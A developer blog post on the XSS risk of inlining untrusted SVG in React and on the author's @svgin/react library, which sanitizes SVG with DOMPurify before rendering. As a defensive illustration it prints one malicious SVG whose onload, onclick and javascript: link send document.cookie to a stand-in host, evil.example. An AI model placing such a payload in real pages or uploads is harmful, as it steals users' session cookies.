DEV Community

Akhil K
Akhil K

Posted on Edited on

How svgin-react renders SVGs as real, styleable elements without the XSS risk

Say you're fetching an SVG from somewhere you don't fully control. A CMS field, a user upload, an API response. Is it safe to render?

Most people never actually think about this until it bites them, because "SVG" sounds like an image format, not something that can run code.

The img tag is fine

<img src={cmsIconUrl} width={24} />
Enter fullscreen mode Exit fullscreen mode

This is safe. When a browser loads an SVG through img, it treats it purely as an image resource. No script tags run, no onload or onclick fires, nothing navigates. You can point this at genuinely untrusted content and nothing executes.

The problem is you can't style it. No fill: currentColor to pick up your theme, no hover states, no animating a path, no reaching into an inner circle with CSS. It's just a box as far as your stylesheet is concerned, even though the SVG underneath is literally just text.

Styling it means putting it in the DOM, and that's where things change

To actually style an SVG, the markup has to be real elements in the page, not a referenced image:

function Icon({ svg }) {
  return <div dangerouslySetInnerHTML={{ __html: svg }} />;
}
Enter fullscreen mode Exit fullscreen mode

The second you do this, all the safety from the img case is gone. This is now the same as dumping arbitrary HTML into your page.

A totally normal-looking "icon" can carry:

<svg onload="fetch('https://evil.example/steal?c=' + document.cookie)">
  <rect onclick="fetch('https://evil.example/steal?c=' + document.cookie)" width="100" height="100" />
  <a href="javascript:fetch('https://evil.example/steal?c=' + document.cookie)">
    <text y="20">Click for details</text>
  </a>
</svg>
Enter fullscreen mode Exit fullscreen mode

onload can fire when the SVG mounts. onclick and other handlers can fire on interaction like they would anywhere else in the DOM. A javascript: URI can run when someone clicks through an a tag, same as regular HTML.

One thing that trips people up in the other direction: a plain script tag set via innerHTML or dangerouslySetInnerHTML will not run on its own. Browsers deliberately neuter script elements inserted that way.

That's true, but don't treat it as a safety net. It only covers that one tag and does nothing for the handlers and URIs above, which are the actual exposure.

That's why sanitizers strip script anyway instead of relying on browser behavior.

Fixing it isn't hard, it's just easy to forget

Sanitize before anything touches the DOM.

Strip script, strip event handler attributes, strip dangerous URLs, keep the drawing instructions.

DOMPurify already does this well and supports SVG:

import DOMPurify from "dompurify";

const clean = DOMPurify.sanitize(dirtySvg, {
  USE_PROFILES: {
    svg: true,
    svgFilters: true,
  },
});
Enter fullscreen mode Exit fullscreen mode

That's most of the actual fix.

What's left is doing it every single time, on the client and on any server render path, without ever forgetting, which really just means it has to be the default behavior of whatever fetches and renders the SVG, not a step you have to remember.

That's why I built @svgin/react.

It's an SvgIn component that can fetch an SVG from a URL or accept SVG markup directly, sanitize it with DOMPurify by default, and render a real element you can style.

import { SvgIn } from "@svgin/react";

<SvgIn src="/icons/alert.svg" width={24} fill="currentColor" />
Enter fullscreen mode Exit fullscreen mode

You can also provide SVG markup directly:

<SvgIn
  svg="<svg viewBox='0 0 24 24'>...</svg>"
  width={24}
  fill="currentColor"
/>
Enter fullscreen mode Exit fullscreen mode

Worth being upfront about what's actually going on under the hood, since it's the same thing this whole post is about.

SvgIn renders a real svg element in the DOM, not an img. It has to. That's the only way fill, className, and CSS targeting work at all.

So it's taking the exact path that needs sanitization to be safe, not the path that's safe by default.

The basic flow is:

SVG URL or markup
       ↓
     Fetch
       ↓
Response validation
       ↓
  Sanitization
       ↓
ID uniquification
       ↓
   Real <svg>
Enter fullscreen mode Exit fullscreen mode

Sanitization runs before the SVG is rendered by default.

You can explicitly opt out with disableSanitization or provide your own sanitizeFn, but those are deliberate escape hatches for content you trust or cases where you control the sanitization yourself.

Skip sanitization and it's exactly as exposed as any other way of putting untrusted SVG into the DOM.

There's no magic here, just making sure the step that has to happen actually happens instead of depending on whoever's calling it to remember.

Duplicate SVG IDs are another problem

There is another issue that is easy to miss when working with external SVGs.

SVGs often contain IDs for things like gradients, masks, filters, and clip paths:

<linearGradient id="gradient">
  ...
</linearGradient>

<path fill="url(#gradient)" />
Enter fullscreen mode Exit fullscreen mode

If you render the same SVG multiple times, those IDs can collide with each other.

That can lead to one SVG instance referencing a definition belonging to another instance.

@svgin/react can uniquify internal SVG IDs and update references such as url(#gradient), href, and xlink:href.

This means multiple copies of the same SVG can coexist without sharing the same internal IDs.

There is one limitation worth knowing about. If the SVG contains CSS inside an inline <style> element, ID selectors inside that CSS are not rewritten by the ID uniquification step.

That matters because the SVG's internal IDs may change while a CSS selector inside <style> still refers to the original ID.

For SVGs that rely heavily on their own styles, the optional Shadow DOM renderer provides a better isolation boundary.

What about styles inside the SVG?

An inline <style> inside an SVG rendered in the normal document is not automatically scoped to that SVG.

For example:

<style>
  .icon-path {
    fill: red;
  }
</style>
Enter fullscreen mode Exit fullscreen mode

Those CSS rules live in the normal document's CSS environment. They are not automatically isolated just because they are inside an SVG.

Sanitization does not solve this because legitimate SVG styles are not inherently dangerous.

If you need stronger CSS isolation, @svgin/react also provides an optional Shadow DOM renderer:

import { SvgInShadow } from "@svgin/react/shadow";

<SvgInShadow src="/illustrations/product.svg" />
Enter fullscreen mode Exit fullscreen mode

The SVG is rendered inside a Shadow DOM, which keeps its styles isolated from the surrounding page.

This is about style isolation, not security. The SVG should still be sanitized.

The Shadow DOM renderer is also a separate entry point, so applications that don't use it don't need to pull that feature into their normal import.

Animated SVGs still work

Sanitizing an SVG doesn't mean removing everything that makes SVG useful.

Animations such as:

<animate />
<animateTransform />
Enter fullscreen mode Exit fullscreen mode

are timing and interpolation, not JavaScript, so they can still work.

What gets stripped are dangerous event handlers such as onbegin, onend, onrepeat, onclick, and onload.

So an animated SVG can still animate while unsafe event-driven code is removed.

Runtime SVGs have a few other problems

The core problem is fetching, sanitizing, and rendering runtime SVG safely.

There are a few other things @svgin/react handles around that:

  • React Server Components
  • Suspense
  • Lazy loading
  • Authenticated SVG requests
  • Accessibility with titles and descriptions
  • SVG caching and preloading
  • Request cancellation
  • Internal SVG ID handling
  • Optional Shadow DOM rendering

For example, an authenticated SVG endpoint can be used with fetch options:

<SvgIn
  src="/api/icon"
  fetchOptions={{
    headers: {
      Authorization: `Bearer ${token}`,
    },
  }}
/>
Enter fullscreen mode Exit fullscreen mode

SVG responses are also checked before they are processed, so an HTML error page returned from an SVG endpoint does not simply get treated as SVG content.

The package also keeps optional features in separate entry points. You can use the normal component without pulling in Suspense or Shadow DOM functionality that you don't need.

What about SVGR?

SVGR is great when the SVGs are part of your source code and can be processed at build time.

For example, if your project contains:

src/icons/check.svg
src/icons/close.svg
src/icons/menu.svg
Enter fullscreen mode Exit fullscreen mode

you can turn those into React components during the build.

@svgin/react is solving a different problem.

The SVG might not exist when your application is built.

It might come from:

  • a CMS
  • an API
  • a database
  • a user upload
  • an external service

That's where runtime handling becomes useful.

You don't need to convert every possible SVG into a component ahead of time. You can fetch it when you need it, sanitize it, and render it as a real SVG.

The important security rule

Whatever library you use, the actual rule doesn't change:

If your SVG only ever goes through:

<img src={svgUrl} alt="" />
Enter fullscreen mode Exit fullscreen mode

you're relying on the browser's image isolation.

The second it needs to be inlined for styling, treat it exactly as carefully as you'd treat raw HTML from that same source.

Because that's what it is.

@svgin/react makes that safer path the default by sanitizing SVG before rendering it.

If the SVG is trusted and you have a reason to change that behavior, you can provide a custom sanitizer or explicitly disable sanitization.

Those should be deliberate decisions.

The goal isn't to make SVG magically safe.

The goal is to make the safer default easy to use while still giving you a real, styleable SVG element.

If all you need is to display an SVG, use img.

If you need to work with runtime SVG as a real React element, sanitize it before putting it into the DOM.

That's the problem @svgin/react is designed to solve.

Live demo — the malicious-payload example lives on the Inspector page specifically.

You can load the malicious example and watch exactly what gets stripped, or paste your own SVG and see how it is rendered.

Top comments (0)